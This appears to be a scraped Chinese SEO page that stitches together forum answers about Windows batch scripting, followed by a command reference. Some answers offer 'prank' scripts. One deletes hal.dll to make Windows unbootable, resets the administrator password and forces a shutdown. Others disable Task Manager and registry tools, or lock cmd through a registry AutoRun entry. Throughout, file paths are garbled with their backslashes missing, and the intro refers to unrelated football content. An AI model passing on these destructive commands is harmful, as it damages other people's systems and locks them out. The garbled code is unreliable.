1. 重庆云诚科技 > 互联网资讯 >

〖bat编程教程〗bat编程代码大全

导读求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令本文最佳回答用户:【回忆扯痛ㄋ心】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内...

今天我们来探讨有关〖bat编程教程〗bat编程代码大全,以下4个关于欧冠皇马的观点希望能帮助到您找到想要的答案。

求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令

本文最佳回答用户:【回忆扯痛ㄋ心】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!

是因为你的问题太小儿科了,没有思考的价值,人家懒得回答。

代码如下:

@echo off

:input

title bat代码

::bat标题

set /p "num=请输入“1”或“2”到这里,然后按下回车键:"

if "%num%"=="1" cls & goto 1

if "%num%"=="2" cls & goto 2

echo. & echo 不能输入除了“1”和“2”之外的其他字符! & pause>nul & cls & goto input

:1

echo 现在正在执行代码1.

echo =====================================================

echo ==============请在这里添加您的第一个命令=============

echo =====================================================

pause>nul

cls & goto input

:2

echo 现在正在执行代码2.

echo =====================================================

echo ==============请在这里添加您的第二个命令=============

echo =====================================================

pause>nul

cls & goto input

 如下面的例示代码,运行后将会使用记事本打开此代码:

@echo off

:input

title bat例示代码

::bat标题

set /p "num=请输入“1”或“2”到这里,然后按下回车键.输入“1”即可查看此代码,输入“2”有个惊喜哟:"

if "%num%"=="1" cls & goto 1

if "%num%"=="2" cls & goto 2

echo. & echo 不能输入除了“1”和“2”之外的其他字符! & pause>nul & cls & goto input

:1

echo 现在程序已经打开了此代码.

set "n=%~sdpf0"

copy /y "%n%" "%temp%">nul

for /f "delims=" %%i in ("%n%") do (

rename "%temp%%%~nxi" "$~%%~nxi.txt"

start "" "%temp%$~%%~nxi.txt"

)

pause>nul

for /f "delims=" %%i in ("%n%") do del /s /q /f "%temp%$~%%~nxi.txt"

cls & goto input

:2

set "filename=%temp%$~PleasantlySurprisedMessagePopupBox.vbs"

echo On Error Resume Next>>"%filename%"

echo ^MsgBox "偶就是个惊喜!O(∩_∩)O哈哈~令你惊喜吧?接下来还有更好玩的呢~请看bat窗口哈。",0+64,"惊喜">>"%filename%"

echo Wscript.CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)>>"%filename%"

call "%filename%"

echo 现在程序已经在您的启动菜单中创建了“每次开机提醒”文本文档,您可以编辑打开的文件夹中的文本文档并保存.

cd.>"%SystemDrive%Documents and SettingsAll Users「开始」菜单程序启动每次开机提醒,请打开我进行编辑并保存(不需要的话请删除我).txt"

start "" "%SystemDrive%Documents and SettingsAll Users「开始」菜单程序启动"

pause>nul

cls & goto input

以上就是重庆云诚科技小编解疑贡献者:(回忆扯痛ㄋ心)解答的关于“求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令”的问题了,不知是否已经解决你的问题?如果没有,下一篇内容可能是你想要的答案,下面继续阐述下文用户【°|依然——__╠消夨|°】分析的“求简单的整人Bat代码”的一些相关问题做出分析与解答,如果能找到你的答案,可以关注本站。

求一个bat代码,就是输入“1",就执行第一个命令,输入“2”就执行第二个命令

求简单的整人Bat代码

本文最佳回答用户:【°|依然——__╠消夨|°】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!

代码详解:

@echo off —— 隐藏命令,关闭回显。

net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”

del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序(删了就开不了机)

shutdown -s -t 5 -c 你是一头猪! —— 定时关机5秒钟,并提示你是一头猪!

以上就是重庆云诚科技小编解答(°|依然——__╠消夨|°)解答关于“求简单的整人Bat代码”的答案,接下来继续为你详解体育用户(流星番茄)分析“bat的代码示例”的一些相关解答,希望能解决你的问题!

bat的代码示例

本文最佳回答用户:【流星番茄】 ,现在由重庆云诚科技小编为你探讨与【bat编程教程】的相关内容!

优质回答好了,先来几个实用的。 命令代码如下:

@echo off

echo 正在清除系统垃圾文件,请稍等

del /f /s /q %systemdrive%*.tmp

del /f /s /q %systemdrive%*._mp

del /f /s /q %systemdrive%*.log

del /f /s /q %systemdrive%*.gid

del /f /s /q %systemdrive%*.chk

del /f /s /q %systemdrive%*.old

del /f /s /q %systemdrive%recycled*.*

del /f /s /q %windir%*.bak

del /f /s /q %windir%prefetch*.*

rd /s /q %windir%temp & md %windir%temp

del /f /q %userprofile%cookies*.*

del /f /q %userprofile%recent*.*

del /f /s /q %userprofile%Local SettingsTemporary Internet Files*.*

del /f /s /q %userprofile%Local SettingsTemp*.*

del /f /s /q %userprofile%recent*.*

echo 清除系统垃圾文件完成!

pause @echo off

::判断本地连接赋值a

for /f tokens=3,4 delims== %%i in ('ipconfig ^|findstr /r 本') do echo %%i %%j >DNS.txt

for /f tokens=1 delims==: %%d in (DNS.txt) do set a=%%d

echo 请根据实际情况更改下面三行

set slection1=

set/p slection1=请输入IP地址:

netsh interface ip set address name=%a% source=static addr=%slection1% mask=255.255.255.0

set slection2=

set/p slection2=请输入网关地址:

netsh interface ip set address name=%a% gateway=%slection2% gwmetric=0

set slection3=

set/p slection3=请输入主dns地址

netsh interface ip set dns name=%a% source=static addr=%slection3% register=PRIMARY

set slection4=

set/p slection4=请输入备份dns地址

netsh interface ip add dns name=%a% addr=%slection4%

netsh interface ip set wins name=%a% source=static addr=none

del DNS.txt

exit 改完IP后可用这个完成本机ARP的绑定:

@echo off

if exist ipconfig.txt del ipconfig.txt

ipconfig /all >ipconfig.txt

if exist phyaddr.txt del phyaddr.txt

find Physical Address ipconfig.txt >phyaddr.txt

for /f skip=2 tokens=12 %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt

find IP Address ipconfig.txt >IPAddr.txt

for /f skip=2 tokens=15 %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%

del ipaddr.txt

del ipconfig.txt

del phyaddr.txt

exit

同时修改IP和MAC地址的小代码及制作步骤,用于带着本本到处跑又要改IP的场合!

1:生成 IP配置文件。

修改你的IP地址配置为某一个配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相关的,不需要修改MAC地址)。

然后输入:

netsh -c interface dump> c:net1.txt

这里net1.txt就是你生成的IP配置文件了!可以改为其它的文件名,比如:实验室,寝室!

依次生成所有的网络配置的配置文件,我假设一共生成两个网络配置分别为net1.txt和net2.txt

2:下载软件SMAC为修改MAC地址的小软件仅8K,我已经上传了。

3:在C盘根目录下建立一个目录,把刚才下载的smac.exe,生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是:C:cmd

4:建立一个批处理文件,假设为:ToNet1.bat(可以使用记事本编辑,不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat,否则就是ToNet1.bat.txt)

输入如下代码:

smac -modifymac 0 0050BA44D27A

netsh -f net1.txt

net1.txt就是你要设置的某一个网络的配置,0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略,这个表示网卡(你不会有两个或者多个网卡吧?如果你有,请注意自己先试一下看是哪一个网卡了:在这个smac程序的readme中有list功能,你可以判断一下)。

同样的方法,建立ToNet2.bat,当然修改网络配置文件为net2.txt和mac地址的属性了。

把这两个bat文件也放到c:cmd目录中。

5:然后你可以建立这两个bat文件的快捷方式,双击一下自动更换了!

不过请注意,修改MAC地址可能需要重新启动一下网卡比较好(禁用再启用) shutdown -s -t 0

运行这个后,立刻关机

想要重启,就把-s改为-r reg add

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesS

ystem /v DisableRegistryTools /t reg_dword /d 00000001 /f reg add

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesS

ystem /v DisableRegistryTools /t reg_dword /d 00000000 /f

start regedit reg add

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v

Hidden /t reg_dword /d 1 /f

reg add

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v

HideFileExt /t reg_dword /d 0 /f

reg add

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced /v

ShowSuperHidden /t reg_dword /d 1 /f REG ADD

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSy

stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f REG ADD

stem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f

解释:这五个都是通过改注册表做到的。

接下来搞几个用密码的。 @echo off

mode con cols=30 lines=4

set b=5

:pwd

title Password

set /a a=%a%+1

set /a b=%b%-1

set /p pwd=Enter Password:

if /I %pwd%==Password goto main

if /I %a%==5 goto err

echo Error %a% times! You have %b% times left now.

goto pwd

:err

color 40

mode con cols=30 lines=2

title Error!

cls

echo.

echo Error 5 times, it will exit!

ping 127.1 -n 6 >nul

exit

:main

mode con cols=30 lines=3

echo Password right!

pause

cls

goto program

:program

mode con cols=64 lines=16

:: Your program here. ::

解释:把第九行的Password改成密码。 @echo off

echo.

echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件,请稍侯

echo.

echo. >lockcmd.bat

echo @echo off >lockcmd.bat

echo echo. >>lockcmd.bat

echo setlocal >>lockcmd.bat

echo set /a times=3 >>lockcmd.bat

echo :checkpassword >>lockcmd.bat

echo set /p password=请输入密码: >>lockcmd.bat

echo set /a times=times-1 >>lockcmd.bat

echo if %%password%%==密码 goto continue >>lockcmd.bat

echo if %%times%%==0 goto exit >>lockcmd.bat

echo echo 输入的密码不正确,请重新输入,还有%%times%%次机会!

>>lockcmd.bat

echo goto checkpassword >>lockcmd.bat

echo :exit >>lockcmd.bat

echo echo. >>lockcmd.bat

echo echo 你无权进入命令行状态! >>lockcmd.bat

echo exit >>lockcmd.bat

echo :continue >>lockcmd.bat

echo cls >>lockcmd.bat

echo title 欢迎你回到命令行窗口工作! >>lockcmd.bat

echo cd /d c: >>lockcmd.bat

echo endlocal >>lockcmd.bat

copy lockcmd.bat %windir%

echo 正在设置注册表,从而让命令行窗口一打开便进入锁定状态

echo Windows Registry Editor Version 5.00 >temp.reg

echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]

>>temp.reg

echo AutoRun=lockcmd.bat >>temp.reg

echo 成功锁住命令行,只有输入正确的密码才可使用!

regedit /s temp.reg

del /q /f temp.reg >nul

del /q /f lockcmd.bat >nul

pause>nul

解释:这两个把“密码”改成你要输的密码就行了。

嗯,接下来是几个整人的。

2H1Q声明:使用这些代码造成的后果(比如别人找你麻烦)自负。

首先是个吓唬人的。

--------为维护网络安全以下代码已删除------- 注意,这个要慎用!

@echo off

set /p t=请输入您要修改的密码:

net user 计算机名 %t%

echo 修改成功!

在计算机名处写电脑登录时的账号

比如:net user administrator %t%

嗯,代码就列举到这里,大家可以自己编一些哦。

上文就是重庆云诚科技小编解疑贡献者:(流星番茄)回答的关于“bat的代码示例”的问题了,不知是否已经解决你的问题?如果没有,下一篇内容可能是你想要的答案,下面继续解读下文用户【甜蜜马车】贡献的“bat文件命令大全”的一些相关疑问做出分析与解答,如果能找到你的答案,可以关注本站。

bat文件命令大全

本文最佳回答用户:【甜蜜马车】 ,现在由重庆云诚科技小编为你分析与【bat编程教程】的相关内容!

优质回答.bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称

时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。

==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

==== willsort 编注 ===========

首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到

的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* 文件通配符

"" 字符串界定符

| 命令管道符

< > >> 文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符

其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区

别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一

个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.

=====================

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执

行当前文件的后续命令)。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue.的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

==== willsort 编注 =====

此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理

-------------------------

ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

语法

ECHO [ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo [message]

参数

ON|OFF

指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO

命令。

message

指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename

指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters

指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处

理程序中使用该命令。

语法

PAUSE

REM

在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS

中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

语法

REM [string]

参数

string

指定要屏蔽的命令或要包含的注解。

=======================

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,

启动UCDOS,进入WPS等功能。

批处理文件的内容为: 命令注释:

@echo off 不显示后续命令行及当前命令行

dir c:\*.* >a.txt 将c盘文件列表写入a.txt

call c:\ucdos\ucdos.bat 调用ucdos

echo 你好 显示"你好"

pause 暂停,等待按键继续

rem 准备运行wps 注释:准备运行wps

cd ucdos 进入ucdos目录

wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表

示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

如果执行C:\>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1

type %2

那么运行C:\>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

==== willsort 编注 ===============

参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间

(例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参

数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如

下:

初始状态, cmd 为命令名, 可以用 %0 引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过1次shift后, cmd 将无法被引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^ ^ ^ ^ ^ ^ ^ ^ ^

| | | | | | | | |

%0 %1 %2 %3 %4 %5 %6 %7 %8

遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返

复移动起始指针.

====================

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

==== willsort 编注

if 的命令行帮助中关于此点的描述为:

IF [NOT] string1==string2 command

在此有以下几点需要注意:

1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符

2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量

3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行

=============================

2、if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys文件,则显示它的内容。

****** willsort 编注 ********

也可以使用以下的用法:

if exist command

device 是指DOS系统中已加载的设备, 在win98下通常有:

AUX, PRN, CON, NUL

COM1, COM2, COM3, COM4

LPT1, LPT2, LPT3, LPT4

XMSXXXX0, EMMXXXX0

A: B: C: .,

CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

1. 该设备确实存在(由软件虚拟的设备除外)

2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

3. 该设备已准备好(主要是指a: b: ., com1., lpt1.等)

可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄

(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即

指在内存中为其分配可引用的句柄.

==================================

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值

,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立

,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

==== willsort 编注 ===========

返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺

序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

if errorlevel 1 set el=1

if errorlevel 2 set el=2

if errorlevel 3 set el=3

if errorlevel 4 set el=4

if errorlevel 5 set el=5

.

当然, 也可以使用以下循环来替代, 原理是一致的:

for %%e in (1 2 3 4 5 6 7 8.) do if errorlevel %%e set el=%%e

更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章

出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致

在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.

另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略

掉罢了

===========================

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配

合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end

echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

==== willsort 编注

label 常被译为 "标签" , 但是这并不具有广泛的约定性.

goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case

结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语

法结构上的对照:

Batch C / Basic

goto&: goto&:

goto&:&if if{}&else{} / if&elseif&endif

goto&:&if. switch&case / select case

goto&:&if&set&envar. function() / function(),sub()

==================================

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配

合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N 在提示符中隐藏选项列表。提示前面的消息得到显示,

选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具

是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0

到 9999。如果指定了 0,就不会有暂停,默认选项

会得到选择。

/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text 指定提示之前要显示的消息。如果没有指定,工具只

显示提示。

/ 显示帮助消息。

注意:

ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

序排列。

示例:

CHOICE /

CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

==== willsort 编注 ===============================

我列出win98下choice的用法帮助, 已资区分

Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN

指定允许的按键(待选字符), 默认为YN

/N Do not display choices and at end of prompt string.

不显示提示字符串中的问号和待选字符

/S Treat choice keys as case sensitive.

处理待选字符时大小写敏感

/T[:]c,nn Default choice to c after nn seconds

在 nn 秒后默认选择 c

text Prompt string to display

要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

====================================

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errorlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号

为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到

end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

关于[bat编程教程]的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

推荐文章:

  • 膜的组词和部首,膜的组词和拼音是什么
  • 亲字组词100个 亲字的组词有
  • 酬谢是什么意思,定当酬谢是什么意思
  • 异的组词和部首,株的组词和部首
  • 箭组词和拼音 耸组词和拼音部首
  • 有志不在年高的意思-有志不在年高的意思雨来表达了
  • 繁衍的意思 繁衍的意思简单解释
  • 彤组词,胀组词和拼音
  • 血泊的拼音 泊的拼音
  • 螺组词拼音 螺的组词和拼音
  • 本文由网上采集发布,不代表我们立场,转载联系作者并注明出处:https://www.cqycseo.com/zixun/7025.html

    联系我们